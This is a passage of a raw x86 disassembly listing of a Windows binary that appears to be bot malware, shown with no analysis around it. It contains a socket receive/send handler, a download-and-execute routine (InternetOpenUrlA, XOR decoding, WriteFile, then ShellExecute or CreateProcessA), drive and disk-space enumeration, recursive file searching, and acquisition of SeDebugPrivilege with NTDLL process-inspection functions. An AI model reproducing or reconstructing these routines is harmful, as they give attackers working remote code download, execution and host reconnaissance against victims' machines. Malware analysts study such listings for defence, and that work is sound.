push ebx
push eax
call sub_41BF70
add esp, 0Ch
lea eax, [ebp+var_14C4]
push ebx
push esi
push eax
push [ebp+arg_0]
call dword_4CB9EC ; recv
mov edi, eax
cmp edi, ebx
jz loc_416712
cmp edi, 0FFFFFFFFh
jz short loc_4166B3
push [ebp+var_4]
lea eax, [ebp+var_14C4]
push edi
push 1
push eax
call sub_41DB54
add [ebp+var_8], edi
add esp, 10h
push [ebp+var_8]
call dword_4CB9D0 ; htonl
mov [ebp+var_C], eax
push ebx
lea eax, [ebp+var_C]
push 4
push eax
push [ebp+arg_0]
call dword_4CBA24 ; send
jmp short loc_41664B
; ---------------------------------------------------------------------------
loc_4166B3: ; CODE XREF: sub_416563+118j
lea eax, [ebp+var_4C4]
push offset dword_438010
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_4C4]
push [ebp+var_18]
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+var_1C0]
call sub_409869
lea eax, [ebp+var_4C4]
push eax
call sub_415D38
push [ebp+var_4]
call sub_41BA3B
add esp, 24h
push [ebp+arg_0]
call dword_4CBA6C ; closesocket
push [ebp+var_1C]
call sub_40B6D6
pop ecx
push 1
call ds:dword_4270D4 ; ExitThread
loc_416712: ; CODE XREF: sub_416563+10Fj
mov eax, [ebp+var_8]
cdq
push edx
push eax
call sub_416CC9
pop ecx
pop ecx
push eax
lea eax, [ebp+var_1B8]
push eax
lea eax, [ebp+var_1A4]
push eax
lea eax, [ebp+var_4C4]
push offset unk_438110
push eax
call sub_41C266
add esp, 14h
loc_416742: ; CODE XREF: sub_416563+DEj
cmp [ebp+var_14], ebx
jnz short loc_416767
push ebx
lea eax, [ebp+var_4C4]
push [ebp+var_18]
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+var_1C0]
call sub_409869
add esp, 14h
loc_416767: ; CODE XREF: sub_416563+1E2j
lea eax, [ebp+var_4C4]
push eax
call sub_415D38
cmp [ebp+var_4], ebx
pop ecx
jz short loc_416782
push [ebp+var_4]
call sub_41BA3B
pop ecx
loc_416782: ; CODE XREF: sub_416563+214j
cmp [ebp+arg_0], ebx
jbe short loc_416790
push [ebp+arg_0]
call dword_4CBA6C ; closesocket
loc_416790: ; CODE XREF: sub_416563+222j
push [ebp+var_1C]
call sub_40B6D6
pop ecx
push ebx
call ds:dword_4270D4 ; ExitThread
sub_416563 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4167A0 proc near ; DATA XREF: sub_401ACD+619Bo
; sub_401ACD+69D9o
var_590 = qword ptr -590h
var_584 = qword ptr -584h
var_510 = byte ptr -510h
var_310 = dword ptr -310h
var_304 = dword ptr -304h
var_2E4 = dword ptr -2E4h
var_2E0 = word ptr -2E0h
var_2CC = dword ptr -2CCh
var_2C8 = byte ptr -2C8h
var_248 = byte ptr -248h
var_148 = byte ptr -148h
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_24 = byte ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = byte ptr -10h
var_8 = qword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 510h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
mov ecx, 0AAh
mov esi, eax
lea edi, [ebp+var_2CC]
push 1
rep movsd
pop edi
xor esi, esi
push esi
mov [eax+2A4h], edi
push esi
push esi
lea eax, [ebp+var_248]
push esi
push eax
push dword_4CB984
call dword_4CB8D8 ; InternetOpenUrlA
cmp eax, esi
mov [ebp+var_18], eax
jz loc_416C2C
push esi
push esi
push 2
push esi
push esi
lea eax, [ebp+var_148]
push 40000000h
push eax
call ds:dword_4270F8 ; CreateFileA
cmp eax, edi
mov [ebp+var_20], eax
jnb short loc_416867
lea eax, [ebp+var_148]
push eax
lea eax, [ebp+var_510]
push offset unk_438358
push eax
call sub_41C266
add esp, 0Ch
cmp [ebp+var_30], esi
jnz short loc_41684A
push esi
lea eax, [ebp+var_510]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_2C8]
push eax
push [ebp+var_2CC]
call sub_409869
add esp, 14h
loc_41684A: ; CODE XREF: sub_4167A0+88j
lea eax, [ebp+var_510]
push eax
call sub_415D38
push [ebp+var_48]
call sub_40B6D6
pop ecx
pop ecx
push esi
call ds:dword_4270D4 ; ExitThread
loc_416867: ; CODE XREF: sub_4167A0+68j
xor edi, edi
call ds:dword_4270B0 ; GetTickCount
mov ebx, 7D000h
mov dword ptr [ebp+var_8+4], eax
push ebx
call sub_41BEB5
pop ecx
mov [ebp+var_1C], eax
loc_416881: ; CODE XREF: sub_4167A0+1B4j
push 200h
lea eax, [ebp+var_510]
push esi
push eax
call sub_41BF70
add esp, 0Ch
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_510]
push 200h
push eax
push [ebp+var_18]
call dword_4CB8E0 ; InternetReadFile
cmp [ebp+var_34], esi
jz short loc_4168C5
push [ebp+arg_0]
lea eax, [ebp+var_510]
push eax
call sub_416C92
pop ecx
pop ecx
loc_4168C5: ; CODE XREF: sub_4167A0+112j
lea eax, [ebp+var_24]
push esi
push eax
lea eax, [ebp+var_510]
push [ebp+arg_0]
push eax
push [ebp+var_20]
call ds:dword_4270F0 ; WriteFile
cmp edi, ebx
jnb short loc_416903
mov eax, ebx
sub eax, edi
cmp eax, [ebp+arg_0]
jbe short loc_4168ED
mov eax, [ebp+arg_0]
loc_4168ED: ; CODE XREF: sub_4167A0+148j
push eax
lea eax, [ebp+var_510]
push eax
mov eax, [ebp+var_1C]
add eax, edi
push eax
call sub_41CD20
add esp, 0Ch
loc_416903: ; CODE XREF: sub_4167A0+13Fj
add edi, [ebp+arg_0]
cmp [ebp+var_3C], esi
jz short loc_416910
cmp edi, [ebp+var_3C]
ja short loc_41695A
loc_416910: ; CODE XREF: sub_4167A0+169j
cmp [ebp+var_44], 1
mov eax, edi
jz short loc_41692A
shr eax, 0Ah
push eax
lea eax, [ebp+var_248]
push eax
push offset unk_438330
jmp short loc_41693A
; ---------------------------------------------------------------------------
loc_41692A: ; CODE XREF: sub_4167A0+176j
shr eax, 0Ah
push eax
lea eax, [ebp+var_248]
push eax
push offset unk_438308
loc_41693A: ; CODE XREF: sub_4167A0+188j
mov eax, [ebp+var_48]
imul eax, 234h
add eax, offset dword_43E710
push eax
call sub_41C266
add esp, 10h
cmp [ebp+arg_0], esi
ja loc_416881
loc_41695A: ; CODE XREF: sub_4167A0+16Ej
cmp [ebp+var_3C], esi
mov [ebp+var_14], 1
jz short loc_4169AF
cmp edi, [ebp+var_3C]
jz short loc_4169AF
push [ebp+var_3C]
lea eax, [ebp+var_510]
mov [ebp+var_14], esi
push edi
push offset unk_4382DC
push eax
call sub_41C266
push esi
lea eax, [ebp+var_510]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_2C8]
push eax
push [ebp+var_2CC]
call sub_409869
lea eax, [ebp+var_510]
push eax
call sub_415D38
add esp, 28h
loc_4169AF: ; CODE XREF: sub_4167A0+1C4j
; sub_4167A0+1C9j
call ds:dword_4270B0 ; GetTickCount
sub eax, dword ptr [ebp+var_8+4]
xor edx, edx
mov ecx, 3E8h
push [ebp+var_20]
div ecx
xor edx, edx
mov ecx, eax
mov eax, edi
inc ecx
div ecx
mov ebx, eax
call ds:dword_427070 ; CloseHandle
push [ebp+var_1C]
call sub_41BA91
cmp [ebp+var_38], esi
pop ecx
jz short loc_416A39
lea eax, [ebp+var_148]
push eax
call sub_4010AB
cmp eax, [ebp+var_38]
pop ecx
jz short loc_416A39
push [ebp+var_38]
mov [ebp+var_14], esi
push eax
lea eax, [ebp+var_510]
push offset unk_4382B4
push eax
call sub_41C266
push esi
lea eax, [ebp+var_510]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_2C8]
push eax
push [ebp+var_2CC]
call sub_409869
lea eax, [ebp+var_510]
push eax
call sub_415D38
add esp, 28h
loc_416A39: ; CODE XREF: sub_4167A0+241j
; sub_4167A0+253j
cmp [ebp+var_14], esi
jz loc_416C79
cmp [ebp+var_44], 1
jz loc_416B34
mov dword ptr [ebp+var_8], ebx
mov dword ptr [ebp+var_8+4], esi
fild [ebp+var_8]
push ecx
push ecx
mov dword ptr [ebp+var_8], edi
mov dword ptr [ebp+var_8+4], esi
fmul ds:dbl_427690
lea eax, [ebp+var_148]
fstp [esp+584h+var_584]
fild [ebp+var_8]
push eax
push ecx
push ecx
lea eax, [ebp+var_510]
fmul ds:dbl_427690
fstp [esp+590h+var_590]
push offset unk_43827C
push eax
call sub_41C266
add esp, 1Ch
cmp [ebp+var_30], esi
jnz short loc_416AB4
push esi
lea eax, [ebp+var_510]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_2C8]
push eax
push [ebp+var_2CC]
call sub_409869
add esp, 14h
loc_416AB4: ; CODE XREF: sub_4167A0+2F2j
lea eax, [ebp+var_510]
push eax
call sub_415D38
cmp [ebp+var_40], 1
pop ecx
jnz loc_416C79
push 5
push esi
lea eax, [ebp+var_148]
push esi
push eax
push offset aOpen ; "open"
push esi
call dword_4CB940
cmp [ebp+var_30], esi
jnz loc_416C79
lea eax, [ebp+var_148]
push eax
lea eax, [ebp+var_510]
push offset dword_438260
push eax
call sub_41C266
push esi
lea eax, [ebp+var_510]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_2C8]
push eax
push [ebp+var_2CC]
call sub_409869
lea eax, [ebp+var_510]
push eax
call sub_415D38
add esp, 24h
jmp loc_416C79
; ---------------------------------------------------------------------------
loc_416B34: ; CODE XREF: sub_4167A0+2A6j
mov dword ptr [ebp+var_8], ebx
mov dword ptr [ebp+var_8+4], esi
fild [ebp+var_8]
push ecx
push ecx
mov dword ptr [ebp+var_8], edi
mov dword ptr [ebp+var_8+4], esi
fmul ds:dbl_427690
lea eax, [ebp+var_148]
fstp [esp+584h+var_584]
fild [ebp+var_8]
push eax
push ecx
push ecx
lea eax, [ebp+var_510]
fmul ds:dbl_427690
fstp [esp+590h+var_590]
push offset unk_43821C
push eax
call sub_41C266
add esp, 1Ch
cmp [ebp+var_30], esi
jnz short loc_416B9C
push esi
lea eax, [ebp+var_510]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_2C8]
push eax
push [ebp+var_2CC]
call sub_409869
add esp, 14h
loc_416B9C: ; CODE XREF: sub_4167A0+3DAj
lea eax, [ebp+var_510]
push eax
call sub_415D38
push 10h
lea eax, [ebp+var_10]
push esi
push eax
call sub_41BF70
push 44h
lea eax, [ebp+var_310]
pop edi
push edi
push esi
push eax
call sub_41BF70
add esp, 1Ch
mov [ebp+var_310], edi
lea eax, [ebp+var_10]
mov [ebp+var_304], offset byte_43DB88
push 1
mov [ebp+var_2E0], si
pop edi
push eax
lea eax, [ebp+var_310]
push eax
push esi
push esi
push 28h
push esi
push esi
lea eax, [ebp+var_148]
push esi
push eax
push esi
mov [ebp+var_2E4], edi
call ds:dword_427074 ; CreateProcessA
cmp eax, edi
jnz short loc_416C1E
call dword_4CB92C ; WSACleanup
call sub_4188A6
push esi
call ds:dword_42706C ; ExitProcess
loc_416C1E: ; CODE XREF: sub_4167A0+46Aj
lea eax, [ebp+var_148]
push eax
push offset unk_4381E8
jmp short loc_416C38
; ---------------------------------------------------------------------------
loc_416C2C: ; CODE XREF: sub_4167A0+45j
lea eax, [ebp+var_248]
push eax
push offset unk_4381BC
loc_416C38: ; CODE XREF: sub_4167A0+48Aj
lea eax, [ebp+var_510]
push eax
call sub_41C266
add esp, 0Ch
cmp [ebp+var_30], esi
jnz short loc_416C6C
push esi
lea eax, [ebp+var_510]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_2C8]
push eax
push [ebp+var_2CC]
call sub_409869
add esp, 14h
loc_416C6C: ; CODE XREF: sub_4167A0+4AAj
lea eax, [ebp+var_510]
push eax
call sub_415D38
pop ecx
loc_416C79: ; CODE XREF: sub_4167A0+29Cj
; sub_4167A0+325j ...
push [ebp+var_18]
call dword_4CBA08 ; InternetCloseHandle
push [ebp+var_48]
call sub_40B6D6
pop ecx
push esi
call ds:dword_4270D4 ; ExitThread
sub_4167A0 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_416C92 proc near ; CODE XREF: sub_4167A0+11Ep
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
xor ecx, ecx
cmp [esp+arg_4], ecx
jle short locret_416CAE
loc_416C9E: ; CODE XREF: sub_416C92+1Aj
mov dl, byte_429094
xor [ecx+eax], dl
inc ecx
cmp ecx, [esp+arg_4]
jl short loc_416C9E
locret_416CAE: ; CODE XREF: sub_416C92+Aj
retn
sub_416C92 endp
; =============== S U B R O U T I N E =======================================
sub_416CAF proc near ; CODE XREF: sub_401ACD+5761p
; sub_401ACD+5896p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
push [esp+4+arg_0]
call sub_41DC5E
pop ecx
pop ecx
xor ecx, ecx
cmp eax, 0FFFFFFFFh
setnz cl
mov eax, ecx
retn
sub_416CAF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416CC9 proc near ; CODE XREF: sub_41036B+458p
; sub_41036B+5FDp ...
var_38 = byte ptr -38h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 38h
and [ebp+var_4], 0
push ebx
push esi
push edi
push 32h
mov edi, offset dword_4D35F8
push 0
push edi
call sub_41BF70
mov ebx, [ebp+arg_0]
add esp, 0Ch
lea esi, [ebp+var_38]
loc_416CEE: ; CODE XREF: sub_416CC9+5Bj
; sub_416CC9+61j
push 0
push 0Ah
push [ebp+arg_4]
push ebx
call sub_41DD20
push 0
push 0Ah
push [ebp+arg_4]
add al, 30h
mov [esi], al
inc esi
push ebx
call sub_41DCB0
mov ebx, eax
or eax, edx
mov [ebp+arg_4], edx
jz short loc_416D2C
inc [ebp+var_4]
push 3
mov eax, [ebp+var_4]
pop ecx
cdq
idiv ecx
test edx, edx
jnz short loc_416CEE
mov byte ptr [esi], 2Ch
inc esi
jmp short loc_416CEE
; ---------------------------------------------------------------------------
loc_416D2C: ; CODE XREF: sub_416CC9+4Bj
dec esi
mov eax, edi
loc_416D2F: ; CODE XREF: sub_416CC9+73j
lea ecx, [ebp+var_38]
cmp esi, ecx
jb short loc_416D3E
mov cl, [esi]
mov [eax], cl
inc eax
dec esi
jmp short loc_416D2F
; ---------------------------------------------------------------------------
loc_416D3E: ; CODE XREF: sub_416CC9+6Bj
and byte ptr [eax], 0
mov eax, edi
pop edi
pop esi
pop ebx
leave
retn
sub_416CC9 endp
; =============== S U B R O U T I N E =======================================
sub_416D48 proc near ; CODE XREF: sub_416EFD+51p
; sub_416EFD+87p
arg_0 = dword ptr 4
push [esp+arg_0]
call dword_4CBA34 ; GetDriveTypeA
sub eax, 0
jz short loc_416D8B
dec eax
jz short loc_416D85
dec eax
dec eax
jz short loc_416D7F
dec eax
jz short loc_416D79
dec eax
jz short loc_416D73
dec eax
jz short loc_416D6D
mov eax, offset word_4383AC
retn
; ---------------------------------------------------------------------------
loc_416D6D: ; CODE XREF: sub_416D48+1Dj
mov eax, offset off_4383A8
retn
; ---------------------------------------------------------------------------
loc_416D73: ; CODE XREF: sub_416D48+1Aj
mov eax, offset aCdrom ; "Cdrom"
retn
; ---------------------------------------------------------------------------
loc_416D79: ; CODE XREF: sub_416D48+17j
mov eax, offset aNetwork ; "Network"
retn
; ---------------------------------------------------------------------------
loc_416D7F: ; CODE XREF: sub_416D48+14j
mov eax, offset aDisk ; "Disk"
retn
; ---------------------------------------------------------------------------
loc_416D85: ; CODE XREF: sub_416D48+10j
mov eax, offset aInvalid ; "Invalid"
retn
; ---------------------------------------------------------------------------
loc_416D8B: ; CODE XREF: sub_416D48+Dj
mov eax, offset aUnknown ; "Unknown"
retn
sub_416D48 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416D91 proc near ; CODE XREF: sub_416DD9+12p
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 18h
or eax, 0FFFFFFFFh
mov [ebp+var_18], eax
mov [ebp+var_14], eax
mov [ebp+var_10], eax
mov [ebp+var_C], eax
mov [ebp+var_8], eax
mov [ebp+var_4], eax
mov eax, dword_4CB8C4
test eax, eax
jz short loc_416DC6
lea ecx, [ebp+var_10]
push ecx
lea ecx, [ebp+var_8]
push ecx
lea ecx, [ebp+var_18]
push ecx
push [ebp+arg_4]
call eax ; GetDiskFreeSpaceExA
loc_416DC6: ; CODE XREF: sub_416D91+22j
mov eax, [ebp+arg_0]
push esi
push edi
push 6
pop ecx
lea esi, [ebp+var_18]
mov edi, eax
rep movsd
pop edi
pop esi
leave
retn
sub_416D91 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416DD9 proc near ; CODE XREF: sub_416EFD+17p
; sub_41AF8F+1F3p
var_198 = byte ptr -198h
var_118 = byte ptr -118h
var_98 = byte ptr -98h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 198h
push esi
push edi
push [ebp+arg_4]
lea eax, [ebp+var_18]
push eax
call sub_416D91
pop ecx
mov esi, eax
pop ecx
lea edi, [ebp+var_18]
push 6
pop ecx
rep movsd
mov eax, [ebp+var_18]
and eax, [ebp+var_14]
cmp eax, 0FFFFFFFFh
jz loc_416EB7
mov eax, [ebp+var_10]
and eax, [ebp+var_C]
cmp eax, 0FFFFFFFFh
jz loc_416EB7
mov eax, [ebp+var_8]
and eax, [ebp+var_4]
cmp eax, 0FFFFFFFFh
jz loc_416EB7
push ebx
mov ebx, 400h
push 0
push ebx
push [ebp+var_14]
push [ebp+var_18]
call sub_41DDA0
push edx
push eax
call sub_416CC9
pop ecx
mov edi, offset aSkb ; "%sKB"
pop ecx
mov esi, 80h
push eax
push edi
lea eax, [ebp+var_198]
push esi
push eax
call sub_41C360
add esp, 10h
push 0
push ebx
push [ebp+var_C]
push [ebp+var_10]
call sub_41DDA0
push edx
push eax
call sub_416CC9
pop ecx
pop ecx
push eax
push edi
lea eax, [ebp+var_118]
push esi
push eax
call sub_41C360
add esp, 10h
push 0
push ebx
push [ebp+var_4]
push [ebp+var_8]
call sub_41DDA0
push edx
push eax
call sub_416CC9
pop ecx
pop ecx
push eax
push edi
lea eax, [ebp+var_98]
push esi
push eax
call sub_41C360
add esp, 10h
pop ebx
jmp short loc_416EE9
; ---------------------------------------------------------------------------
loc_416EB7: ; CODE XREF: sub_416DD9+2Cj
; sub_416DD9+3Bj ...
mov esi, offset aFailed ; "failed"
lea eax, [ebp+var_198]
push esi
push eax
call sub_41C266
pop ecx
lea eax, [ebp+var_118]
pop ecx
push esi
push eax
call sub_41C266
pop ecx
lea eax, [ebp+var_98]
pop ecx
push esi
push eax
call sub_41C266
pop ecx
pop ecx
loc_416EE9: ; CODE XREF: sub_416DD9+DCj
mov eax, [ebp+arg_0]
push 60h
pop ecx
lea esi, [ebp+var_198]
mov edi, eax
rep movsd
pop edi
pop esi
leave
retn
sub_416DD9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416EFD proc near ; CODE XREF: sub_416FCF+17p
; sub_416FCF+60p
var_500 = byte ptr -500h
var_300 = byte ptr -300h
var_180 = byte ptr -180h
var_100 = byte ptr -100h
var_80 = byte ptr -80h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 500h
push ebx
mov ebx, [ebp+arg_C]
push esi
push edi
lea eax, [ebp+var_300]
push ebx
push eax
call sub_416DD9
push 60h
mov esi, eax
pop ecx
lea edi, [ebp+var_300]
rep movsd
push 60h
lea esi, [ebp+var_300]
pop ecx
lea edi, [ebp+var_180]
lea eax, [ebp+var_80]
push offset aFailed ; "failed"
rep movsd
push eax
call sub_41CA50
add esp, 10h
test eax, eax
jnz short loc_416F70
push ebx
push ebx
call sub_416D48
pop ecx
push eax
push offset unk_4383FC
lea eax, [ebp+var_500]
push 200h
push eax
call sub_41C360
add esp, 14h
jmp short loc_416FA4
; ---------------------------------------------------------------------------
loc_416F70: ; CODE XREF: sub_416EFD+4Dj
lea eax, [ebp+var_180]
push eax
lea eax, [ebp+var_100]
push eax
lea eax, [ebp+var_80]
push eax
push ebx
push ebx
call sub_416D48
pop ecx
push eax
push offset unk_4383C0
lea eax, [ebp+var_500]
push 200h
push eax
call sub_41C360
add esp, 20h
loc_416FA4: ; CODE XREF: sub_416EFD+71j
push 1
lea eax, [ebp+var_500]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
lea eax, [ebp+var_500]
push eax
call sub_415D38
add esp, 18h
pop edi
pop esi
pop ebx
leave
retn
sub_416EFD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416FCF proc near ; CODE XREF: sub_401ACD+252Ep
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ebx
xor ebx, ebx
cmp [ebp+arg_C], ebx
jz short loc_416FF0
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_416EFD
add esp, 10h
jmp short loc_417051
; ---------------------------------------------------------------------------
loc_416FF0: ; CODE XREF: sub_416FCF+9j
push esi
push edi
push ebx
push ebx
call dword_4CB93C ; GetLogicalDriveStringsA
lea esi, [eax+2]
push esi
call sub_41BEB5
pop ecx
mov edi, eax
push edi
push esi
call dword_4CB93C ; GetLogicalDriveStringsA
cmp [edi], bl
mov esi, edi
jz short loc_417048
loc_417014: ; CODE XREF: sub_416FCF+77j
push offset aA_1 ; "A:\\"
push esi
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz short loc_417037
push esi
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_416EFD
add esp, 10h
loc_417037: ; CODE XREF: sub_416FCF+54j
push esi
call sub_41B9C0
cmp [esi+eax+1], bl
lea esi, [esi+eax+1]
pop ecx
jnz short loc_417014
loc_417048: ; CODE XREF: sub_416FCF+43j
push edi
call sub_41BA91
pop ecx
pop edi
pop esi
loc_417051: ; CODE XREF: sub_416FCF+1Fj
pop ebx
pop ebp
retn
sub_416FCF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417054 proc near ; DATA XREF: sub_401ACD+67C1o
var_49C = byte ptr -49Ch
var_29C = dword ptr -29Ch
var_298 = byte ptr -298h
var_218 = byte ptr -218h
var_115 = byte ptr -115h
var_114 = byte ptr -114h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 49Ch
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
mov ecx, 0A7h
mov esi, eax
lea edi, [ebp+var_29C]
rep movsd
mov dword ptr [eax+298h], 1
lea eax, [ebp+var_114]
push eax
call sub_41B9C0
xor ebx, ebx
cmp [ebp+eax+var_115], 5Ch
pop ecx
jnz short loc_4170A9
lea eax, [ebp+var_114]
push eax
call sub_41B9C0
pop ecx
mov [ebp+eax+var_115], bl
loc_4170A9: ; CODE XREF: sub_417054+3Fj
lea eax, [ebp+var_218]
push eax
push offset unk_43845C
lea eax, [ebp+var_49C]
push 200h
push eax
call sub_41C360
add esp, 10h
cmp [ebp+var_8], ebx
jnz short loc_4170EE
push ebx
lea eax, [ebp+var_49C]
push [ebp+var_C]
push eax
lea eax, [ebp+var_298]
push eax
push [ebp+var_29C]
call sub_409869
add esp, 14h
loc_4170EE: ; CODE XREF: sub_417054+78j
lea eax, [ebp+var_114]
push ebx
push eax
lea eax, [ebp+var_218]
push eax
lea eax, [ebp+var_298]
push [ebp+var_C]
push eax
push [ebp+var_29C]
call sub_41716F
add esp, 18h
push eax
lea eax, [ebp+var_49C]
push offset dword_43843C
push eax
call sub_41C266
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz short loc_41714F
push ebx
lea eax, [ebp+var_49C]
push [ebp+var_C]
push eax
lea eax, [ebp+var_298]
push eax
push [ebp+var_29C]
call sub_409869
add esp, 14h
loc_41714F: ; CODE XREF: sub_417054+D9j
lea eax, [ebp+var_49C]
push eax
call sub_415D38
push [ebp+var_10]
call sub_40B6D6
pop ecx
pop ecx
push ebx
call ds:dword_4270D4 ; ExitThread
pop edi
pop esi
pop ebx
sub_417054 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41716F proc near ; CODE XREF: sub_417054+B9p
; sub_41716F+9Ep
var_54C = byte ptr -54Ch
var_34C = byte ptr -34Ch
var_248 = byte ptr -248h
var_144 = byte ptr -144h
var_118 = byte ptr -118h
var_117 = byte ptr -117h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 54Ch
push ebx
push esi
push edi
mov esi, 104h
push [ebp+arg_10]
lea eax, [ebp+var_248]
push offset aS_3 ; "%s\\*"
push esi
push eax
call sub_41C360
mov edi, ds:dword_427124
add esp, 10h
lea eax, [ebp+var_144]
push eax
lea eax, [ebp+var_248]
push eax
call edi ; FindFirstFileA
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
mov ebx, offset aSS_0 ; "%s\\%s"
jz short loc_41722C
loc_4171BB: ; CODE XREF: sub_41716F+BBj
test [ebp+var_144], 10h
jz short loc_417218
cmp [ebp+var_118], 2Eh
jnz short loc_4171DF
cmp [ebp+var_117], 0
jz short loc_417218
cmp [ebp+var_117], 2Eh
jz short loc_417218
loc_4171DF: ; CODE XREF: sub_41716F+5Cj
lea eax, [ebp+var_118]
push eax
lea eax, [ebp+var_34C]
push [ebp+arg_10]
push ebx
push esi
push eax
call sub_41C360
push [ebp+arg_14]
lea eax, [ebp+var_34C]
push eax
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_41716F
add esp, 2Ch
mov [ebp+arg_14], eax
loc_417218: ; CODE XREF: sub_41716F+53j
; sub_41716F+65j ...
lea eax, [ebp+var_144]
push eax
push [ebp+var_4]
call ds:dword_427120 ; FindNextFileA
test eax, eax
jnz short loc_4171BB
loc_41722C: ; CODE XREF: sub_41716F+4Aj
push [ebp+var_4]
call ds:dword_427000 ; FindClose
push [ebp+arg_C]
lea eax, [ebp+var_248]
push [ebp+arg_10]
push ebx
push esi
push eax
call sub_41C360
add esp, 14h
lea eax, [ebp+var_144]
push eax
lea eax, [ebp+var_248]
push eax
call edi ; FindFirstFileA
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_4172B2
loc_417263: ; CODE XREF: sub_41716F+141j
lea eax, [ebp+var_118]
inc [ebp+arg_14]
push eax
lea eax, [ebp+var_54C]
push [ebp+arg_10]
push offset dword_438484
push 200h
push eax
call sub_41C360
push 1
lea eax, [ebp+var_54C]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 28h
lea eax, [ebp+var_144]
push eax
push esi
call ds:dword_427120 ; FindNextFileA
test eax, eax
jnz short loc_417263
loc_4172B2: ; CODE XREF: sub_41716F+F2j
push esi
call ds:dword_427000 ; FindClose
mov eax, [ebp+arg_14]
pop edi
pop esi
pop ebx
leave
retn
sub_41716F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4172C1 proc near ; DATA XREF: sub_401ACD+1C72o
var_29C = byte ptr -29Ch
var_9C = dword ptr -9Ch
var_98 = byte ptr -98h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 29Ch
mov eax, [ebp+arg_0]
push esi
push edi
push 25h
pop ecx
mov esi, eax
lea edi, [ebp+var_9C]
push 1
rep movsd
pop esi
mov [eax+90h], esi
call sub_41AE41
cmp eax, esi
mov [ebp+var_4], eax
jz short loc_417300
cmp eax, 2
jz short loc_417300
push offset unk_438678
jmp loc_41743F
; ---------------------------------------------------------------------------
loc_417300: ; CODE XREF: sub_4172C1+2Ej
; sub_4172C1+33j
push esi
push offset aSedebugprivile ; "SeDebugPrivilege"
call sub_419B9E
pop ecx
test eax, eax
pop ecx
jz loc_41743A
push ebx
push offset aNtdll_dll ; "NTDLL.DLL"
call ds:dword_4270C0 ; LoadLibraryA
mov esi, ds:dword_4270C4
mov edi, eax
push offset aNtquerysystemi ; "NtQuerySystemInformation"
push edi
mov [ebp+var_8], edi
call esi ; GetProcAddress
push offset aRtlcreatequery ; "RtlCreateQueryDebugBuffer"
push edi
mov dword_4D483C, eax
call esi ; GetProcAddress
push offset aRtlqueryproces ; "RtlQueryProcessDebugInformation"
push edi
mov dword_4D4830, eax
call esi ; GetProcAddress
push offset aRtldestroyquer ; "RtlDestroyQueryDebugBuffer"
push edi
